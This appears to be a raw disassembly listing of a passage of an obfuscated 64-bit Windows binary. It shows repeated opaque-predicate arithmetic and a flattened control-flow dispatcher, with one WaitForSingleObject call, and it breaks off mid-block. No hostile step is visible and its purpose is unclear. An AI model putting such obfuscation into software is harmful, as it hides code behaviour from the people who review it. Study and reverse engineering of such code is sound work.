mov ecx, dword [0x1402656c4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
not ebx
mov edi, ebx
and edi, 0xb05b8ea0
and eax, 0x4fa4715e
or eax, edi
xor eax, 0x4fa4715e
mov edi, eax
and edi, edx
xor edx, eax
or edx, edi
not edx
mov eax, edx
and eax, ebx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x328bfb51
and edx, 0xcd7404ae
or edx, eax
xor edx, 0xcd7404ae
sete r8b
setne r10b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r9b
mov ecx, r9d
xor cl, al
and cl, r9b
mov r11d, ecx
xor r11b, 1
mov ebx, r11d
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, r11b
xor dl, 1
or dl, bl
mov ebx, r10d
xor bl, dl
and r10b, bl
and bl, dl
mov edx, r10d
and dl, bl
xor bl, r10b
or bl, dl
xor r9b, r8b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, ebx
and dl, al
mov r8d, edx
and r8b, al
xor dl, al
mov r9d, ebx
xor r9b, al
or al, bl
xor bl, 1
and cl, bl
xor cl, 1
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
or dl, r8b
xor dl, cl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9106ac11
mov ebx, 0xf14ec2d2
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x9106ac11
jmp 0x1401a14db
cmp eax, 0xfeea790a
jg 0x14019524b
cmp eax, 0xfe1f5d01
je 0x14019b184
cmp eax, 0xfe598fed
jne 0x14016c950
mov eax, 0x3c10566c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x802b1054
je 0x14019b234
cmp eax, 0x80e55a72
je 0x14019b353
cmp eax, 0x8145f053
jne 0x14016c950
mov eax, 0xe3e11f32
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xba80594d
je 0x14019b531
cmp eax, 0xbafcbd82
je 0x14019b6a1
cmp eax, 0xbb1c9b32
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x21abecba
mov edx, edi
and edx, 0xde541345
or edx, ebx
mov ebx, edx
xor ebx, 0x10400004
xor edx, 0x20a38032
mov ecx, edi
xor ecx, 0x30e38137
and ecx, edi
or edx, 0xcf1c7ec8
mov eax, ecx
not eax
mov esi, edx
and esi, 0x40115771
and ebx, 0x30e28006
or ebx, esi
or edx, eax
and eax, 0x40115771
and ecx, 0xbfeea88e
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xcf1c7ec9
and edx, 0x30e38136
or edx, eax
not edx
and r9d, 0xd1985b75
and edi, 0x2e67a48a
or edi, r9d
xor edi, 0x2e67a48a
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
not eax
and eax, 0xaa228a47
and edi, 0x55dd75b8
or edi, eax
xor edi, 0x55dd75b8
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and al, bl
and dl, r9b
or dl, al
mov eax, edx
xor al, bl
and al, dl
xor r9b, bl
mov r8d, r9d
xor r8b, 1
mov r10d, eax
xor r10b, 1
mov ebx, eax
and bl, r10b
mov edx, r8d
and dl, r9b
mov ecx, ebx
xor cl, 1
xor bl, al
or cl, r10b
xor cl, 1
or cl, bl
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, r10d
and al, r9b
xor r10b, r9b
or r10b, al
mov eax, r10d
xor al, dl
test al, 1
mov eax, 0x91a31bec
mov ecx, 0xfc188dbd
cmovne eax, ecx
test r10b, 1
mov ecx, 0x91a31bec
jmp 0x14019c0ca
cmp eax, 0x9d63d924
je 0x14019b6b6
cmp eax, 0x9dd3388d
je 0x14019b6cb
cmp eax, 0x9e40705a
jne 0x14016c950
mov eax, 0x74b210df
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xdab0b4ee
je 0x14019b883
cmp eax, 0xdab1c438
je 0x14019ba00
cmp eax, 0xdac3b648
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, esi
or ebx, 0xd0b8f65
mov edx, ebx
not edx
or ecx, 0x42b4401a
and ecx, 0x47bccb1e
mov edi, esi
and edi, 0x8030461
or edi, ecx
and ebx, 0x47bccb1e
and edx, 0xb0403080
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xf2f4709b
and edx, 0xd0b8f64
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xafe5a834
and edx, 0x501a57cb
or edx, ecx
xor edx, 0x501a57cb
mov ecx, edx
and ecx, esi
xor edx, esi
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
and al, r8b
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xf17bb3a2
mov ebx, 0x64e8b731
cmovne eax, ebx
test cl, cl
mov ecx, eax
cmovne ecx, ebx
jmp 0x1401a26ba
cmp eax, 0x9066c140
je 0x14019baf5
cmp eax, 0x90a79316
je 0x14019bb0a
cmp eax, 0x90c7dedc
jne 0x14016c950
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0xf44eb74a
and ecx, ebx
mov edx, ebx
or edx, 0xbb148b5
mov edi, ecx
not edi
mov eax, edx
and eax, 0x5f194e70
mov esi, r9d
and esi, 0xa046b10a
or esi, eax
or edx, edi
and edi, 0x5f194e70
and ecx, 0xa0e6b18f
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x5030871
and edx, 0xfafcf78e
or edx, eax
mov edi, edx
xor edi, 0xeb240c5
xor edx, 0x41452b2a
and r9d, 0x42236bbe
and ebx, 0xbddc9441
or ebx, r9d
mov eax, ebx
xor eax, 0x1540000
xor ebx, 0x42236bbe
mov ecx, edi
and ecx, 0xbcaad4d1
and edx, 0x43552b2e
or edx, ecx
or edi, ebx
and ebx, 0xbcaad4d1
and eax, 0x43552b2e
or eax, ebx
xor eax, edx
not edi
or edi, eax
cmp edi, 0xffffffff
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and al, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
and bl, r9b
or bl, al
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
xor al, 1
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xb097174a
mov edx, 0xa477b151
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0xb097174a
cmovne eax, edx
test bl, bl
jmp 0x14019970b
cmp eax, 0xcb0ae12c
je 0x14019bb6c
cmp eax, 0xcb1ecde9
je 0x14019bc35
cmp eax, 0xcb1f7635
jne 0x14016c950
mov eax, 0x7c9410b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xaabe0ef1
je 0x14019bc5d
cmp eax, 0xaae123c7
je 0x14019bd90
cmp eax, 0xab1ad6ee
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x962ddb55
and ecx, ebx
not ebx
and ebx, 0x59840
and edx, 0x96284315
or edx, ebx
mov ebx, edx
xor ebx, 0x2080000
xor edx, 0x69d7bcea
mov edi, ecx
not edi
mov esi, edx
and esi, 0xfc27ebf7
and ebx, 0x2081000
or ebx, esi
or edx, edi
and edi, 0xfc27ebf7
and ecx, 0x3d81408
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x69d224aa
and edx, 0x962ddb55
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x2bea272e
and edx, 0xd415d8d1
or edx, ecx
mov ecx, edx
xor ecx, 0xd415d8d1
mov ebx, edx
xor ebx, 0xf4a2d02a
and ebx, ecx
or eax, 0xdf48f704
mov edi, eax
not edi
mov esi, ebx
not esi
mov r9d, esi
and r9d, 0x85842a82
and ebx, 0x7a7bd57d
or ebx, r9d
or esi, eax
and eax, 0x85842a82
and edi, 0x20330079
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0x20b708fa
and esi, 0xdf48f705
or esi, eax
xor edx, 0x28202308
and edx, 0x3835bbc9
mov eax, ecx
and eax, 0xc7ca4436
or eax, edx
xor eax, 0x3835bbc8
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x37dae479
and ecx, 0xc8251b86
or ecx, eax
xor ecx, 0xc8251b86
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x36ea0ca5
and edx, ecx
and ecx, 0xc915f35a
or ecx, eax
mov eax, ecx
xor eax, 0x48115158
xor ecx, 0x36ea0ca5
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb3e4ae26
and eax, 0x4c1b51d9
or eax, edi
or ecx, ebx
and ebx, 0xb3e4ae26
and edx, 0x4c1b51d9
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
sete r10b
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg al
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
or cl, bl
xor bl, 1
or bl, al
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor r10b, al
and r10b, al
xor al, r9b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x48c1839f
mov edx, 0xc61496f0
cmovne eax, edx
test bl, 1
mov ebx, 0x48c1839f
jmp 0x14019b34b
cmp eax, 0xed7b0805
je 0x14019bed9
cmp eax, 0xedd1c2b3
je 0x14019beee
cmp eax, 0xee0fc050
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x7498c2d6
mov edi, ecx
and edi, 0x8b673d28
or edi, ebx
xor edi, 0x8b673d28
and ecx, 1
or ecx, edi
not ecx
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x10f24f16
and ecx, 0xef0db0e9
or ecx, edx
xor ecx, 0xef0db0e9
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
or bl, r8b
or al, dl
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xcc226e39
mov ebx, 0xeff59f29
cmovne ecx, ebx
test dl, dl
mov edx, 0xcc226e39
jmp 0x14019bc2d
cmp eax, 0x88443e93
je 0x14019c0d5
cmp eax, 0x886e6204
je 0x14019c1e2
cmp eax, 0x89171999
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov r9d, edx
not r9d
mov edi, edx
or edi, 1
mov esi, edi
not esi
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov eax, ecx
not eax
mov ebx, edi
and ebx, 0x3d02f8b8
and esi, 0xc2fd0746
or esi, ebx
or edi, eax
and eax, 0x3d02f8b8
and ecx, 0xc2fd0747
or ecx, eax
xor ecx, esi
not edi
or edi, ecx
not edi
and r9d, 0x2001896a
and edx, 0xdffe7695
or edx, r9d
xor edx, 0xdffe7695
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
cmp edx, 0xffffffff
sete dl
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
xor r9b, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, r9b
mov r8d, ecx
xor r8b, 1
and al, dl
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, r8b
or dl, al
mov eax, ecx
xor al, dl
test dl, 1
mov edx, 0x29b8d054
mov ebx, 0x7fc341d
cmovne edx, ebx
test cl, 1
mov ecx, 0x29b8d054
cmovne edx, ecx
test al, 1
jmp 0x1401a2243
cmp eax, 0xc2e102b4
je 0x14019c28a
cmp eax, 0xc2f798e7
je 0x14019c3a7
cmp eax, 0xc2feec06
jne 0x14016c950
mov eax, 0x64ca26d7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa46c1d0f
je 0x14019c3bc
cmp eax, 0xa477b151
je 0x14019c3d1
cmp eax, 0xa4e58275
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x574aab5c
and ecx, 0xa8b554a3
or ecx, edx
mov ebx, ecx
xor ebx, 0x574aab5c
mov edx, ecx
xor edx, 0x574aab5d
and edx, ebx
xor ecx, 0xa0951480
and ecx, 0xa39f9cc0
and ebx, 0x5c60633f
or ebx, ecx
mov edi, ebx
xor edi, 0xc606032
mov ecx, edx
not ecx
xor ebx, 0xa39f9cc1
mov esi, ecx
and esi, 0x73981f8d
and edx, 0x8c67e072
or edx, esi
or ecx, ebx
and ebx, 0x73981f8d
and edi, 0x8c67e072
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf89ccd5a
and ecx, 0x76332a5
or ecx, edx
mov edx, ecx
xor edx, 0x6621085
xor ecx, 0xb8808442
and ecx, 0xb981a662
and edx, 0x467e599d
or edx, ecx
xor edx, 0x467e599d
sete r8b
setne r9b
cmp eax, 0xa
setl r11b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
or bl, dl
mov r10d, edx
xor r10b, bl
or bl, dl
xor bl, 1
or bl, r10b
mov edx, r11d
or dl, bl
xor bl, 1
or bl, al
xor bl, 1
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
and r9b, r11b
and al, r8b
or al, r9b
mov ecx, r11d
and cl, r8b
xor r11b, r8b
or r11b, cl
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
and cl, al
xor dl, al
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x7e975c64
mov ebx, 0x8ec8d83b
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x7e975c64
jmp 0x1401a26bd
cmp eax, 0xe299e6aa
je 0x14019c3fd
cmp eax, 0xe2c22794
je 0x14019c52b
cmp eax, 0xe2d7af61
jne 0x14016c950
mov eax, 0x470e5d55
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x96c53000
je 0x14019c540
cmp eax, 0x96e7d6e8
je 0x14019c622
cmp eax, 0x9794d4dc
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xcab5b6cb
and ecx, 0x354a4934
or ecx, edx
mov ebx, ecx
xor ebx, 0xcab5b6cb
mov eax, ecx
xor eax, 0x354a4934
xor ecx, 0x47d9c3d4
mov edi, ecx
and edi, eax
and ecx, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x72938ae1
and ecx, 0x8d6c751e
or ecx, edi
and ebx, 0x2b3a24b5
mov edx, eax
and edx, 0xd4c5db4a
or edx, ebx
xor edx, 0x2b3a24b4
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x4c4411c4
and ecx, 0xb3bbee3b
or ecx, edi
or ebx, eax
and eax, 0x4c4411c4
and edx, 0xb3bbee3b
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ecx, eax
and ecx, ebx
mov edx, ecx
not edx
mov edi, ebx
and edi, 0xe6a49de5
and eax, 0x195b621a
or eax, edi
or ebx, edx
and edx, 0xe6a49de5
and ecx, 0x195b621a
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
sete r10b
setne bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
and bl, al
mov edx, r9d
and dl, r10b
or dl, bl
xor al, dl
and al, dl
xor r10b, r9b
mov r8d, r10d
xor r8b, 1
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
mov ecx, r10d
and cl, r8b
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
mov eax, ecx
xor al, 1
xor cl, r10b
or al, r8b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x664b0d95
mov ebx, 0xa9de3a0e
cmovne ecx, ebx
test dl, 1
mov edx, 0x664b0d95
jmp 0x1401a209b
cmp eax, 0xd25e6527
je 0x14019c637
cmp eax, 0xd312e54f
je 0x14019c7cd
cmp eax, 0xd32ce0eb
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x55d17ce4
mov edi, ecx
and edi, 0x55d17ce4
mov edx, esi
and edx, 0xaa2e831a
or edx, edi
and ebx, 0x55d17ce5
xor ebx, edx
and esi, 0x304a8ddd
and ecx, 0xcfb57222
or ecx, esi
mov edx, ecx
xor edx, 0xcfb57222
xor ecx, 0x304a8ddd
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
xor ebx, ecx
test ebx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
or bl, r8b
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xde2fac3b
mov edi, 0xb0ff5249
cmovne ecx, edi
test bl, bl
mov edx, 0xde2fac3b
cmove ecx, edx
test al, 1
cmovne ecx, edi
jmp 0x1401a26c0
cmp eax, 0xb217b735
je 0x14019c8d6
cmp eax, 0xb245c288
je 0x14019c9d4
cmp eax, 0xb262ed81
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xed9c6413
and ecx, ebx
not ebx
and ebx, 0x8d1c4002
and edx, 0x60802411
or edx, ebx
xor edx, 0x60802411
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x12639bec
and ecx, 0xed9c6413
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x61044140
mov ebx, ecx
and ebx, 0x8218008e
or ebx, edx
xor ebx, 0x8218008e
and ecx, 0x1ce3be31
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcdd7a55d
and ecx, 0x32285aa2
or ecx, edx
xor ecx, 0xd1341b6c
setne cl
sete r8b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl r10b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
xor al, 1
mov r11d, eax
xor r11b, dl
or al, dl
xor al, 1
or al, r11b
or dl, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, r8b
and al, cl
or al, dl
and r9b, r8b
and cl, r10b
or cl, r9b
mov edx, r10d
and dl, r8b
xor r10b, r8b
or r10b, dl
xor cl, 1
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8d421e79
mov ebx, 0xaf700eee
cmovne edx, ebx
test cl, 1
mov ecx, 0x8d421e79
cmovne ecx, edx
test al, al
jmp 0x1401a0cb9
cmp eax, 0xf7402b9c
je 0x14019cafe
cmp eax, 0xf78a1855
je 0x14019cc89
cmp eax, 0xf7b2c4d7
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov edx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x516af7a6
mov ebx, edi
xor ebx, 0x516af7a6
and ebx, edi
mov esi, eax
and esi, ebx
xor ebx, eax
or ebx, esi
mov eax, ebx
not eax
and eax, 0x836bcd00
and ebx, 0x7c9432ff
or ebx, eax
mov eax, ebx
xor eax, 0x2dfec558
xor ebx, 0xd2013aa7
and ecx, ebx
and eax, edi
or eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
setne cl
sete bl
cmp edx, 0xa
setl al
cmp edx, 9
setg dl
and dl, bl
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
mov r8d, eax
xor r8b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r8b
xor bl, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xfa9d4754
mov edx, 0x627c0cee
cmovne ecx, edx
test al, 1
mov eax, 0xfa9d4754
jmp 0x140197760
cmp eax, 0x84b6517a
je 0x14019cdb4
cmp eax, 0x84b66a1d
je 0x14019cfcd
cmp eax, 0x850bff6e
jne 0x14016c950
mov eax, 0xa78f926b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xbeab638e
je 0x14019d119
cmp eax, 0xbef8aadc
jne 0x14016c950
mov eax, 0x33ffc8a3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa1eaa1eb
je 0x14019d271
cmp eax, 0xa225b46b
jne 0x14016c950
mov eax, 0x69ea7512
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xdfc99931
je 0x14019d3e3
cmp eax, 0xe01dedac
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x2d9ed7b8
and edx, ebx
not ebx
and ebx, 0x2d9ed7b8
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd2612847
and edx, 0x2d9ed7b8
or edx, ecx
mov ebx, edx
xor ebx, 1
and ebx, edx
mov ecx, edx
not ecx
and ecx, 0xcd1d4f53
and edx, 0x32e2b0ac
or edx, ecx
mov edi, edx
xor edi, 0x2c09009
mov ecx, ebx
not ecx
xor edx, 0xcd1d4f52
mov esi, ecx
and esi, 0xb43229b4
and ebx, 0x4bcdd64b
or ebx, esi
or ecx, edx
and edx, 0xb43229b4
and edi, 0x4bcdd64b
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x3b408c6a
and ebx, 0xc4bf7395
or ebx, esi
or ecx, edi
and edi, 0x3b408c6a
and edx, 0xc4bf7395
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete r8b
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and r8b, al
and al, dl
or al, cl
mov ecx, eax
xor cl, 1
and r9b, dl
or r9b, r8b
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, r9b
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, dl
test r9b, r9b
mov ecx, 0x23da680
mov ebx, 0xeddfdbe
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x23da680
jmp 0x1401a26bd
cmp eax, 0x93a8688a
je 0x14019d3f8
cmp eax, 0x93bc7aa6
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xfa626645
and ecx, edx
not edx
and edx, 0xfa626645
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x59d99ba
and ecx, 0xfa626645
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0x99d914bc
and ecx, 0x6626eb43
or ecx, edx
mov edx, ecx
xor edx, 0x26008102
xor ecx, 0x99d914bd
mov edi, eax
and edi, 0xd93e7e49
and ebx, 0x26c181b6
or ebx, edi
or eax, ecx
and ecx, 0xd93e7e49
and edx, 0x26c181b6
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x8cc1db72
and ecx, eax
and eax, 0x733e248d
or eax, edx
mov edx, eax
xor edx, 0x33282400
xor eax, 0x8cc1db72
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xc01719ef
and edx, 0x3fe8e610
or edx, edi
or eax, ebx
and ebx, 0xc01719ef
and ecx, 0x3fe8e610
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xde806381
and ecx, 0x217f9c7e
or ecx, eax
xor ecx, 0x217f9c7e
setne dl
sete al
cmp dword [0x1402656c4], 0xa
setl r8b
mov ecx, r8d
or cl, al
xor cl, 1
xor al, r8b
or cl, al
mov r9d, ecx
xor r9b, 1
or dl, r8b
xor dl, 1
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, r9b
xor dl, 1
mov ebx, r9d
xor bl, dl
or dl, r9b
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xed7b0805
mov ebx, 0xba728941
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xed7b0805
jmp 0x1401a14db
cmp eax, 0xce4d923a
je 0x14019d40d
cmp eax, 0xcecac451
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ebx, ecx
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov edi, ebx
mov edx, ebx
xor edx, 0x25eabfca
and edx, ebx
not ebx
and ebx, 0x62f391b9
and edi, 0x9d0c6e46
or edi, ebx
mov ecx, edi
xor ecx, 0x9d0c6e46
xor edi, 0x7301b1
mov ebx, ecx
and ebx, 0x25eabfca
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xe8c4c949
and edx, 0x173b36b6
or edx, ebx
xor edx, 0x32d1897d
and edi, 0x857f23f7
mov ebx, ecx
and ebx, 0x7a80dc08
or ebx, edi
xor ebx, 0x857f23f6
and ecx, 1
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0x933a6ae6
and edx, ecx
or ecx, 0x6cc59519
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x1caa3303
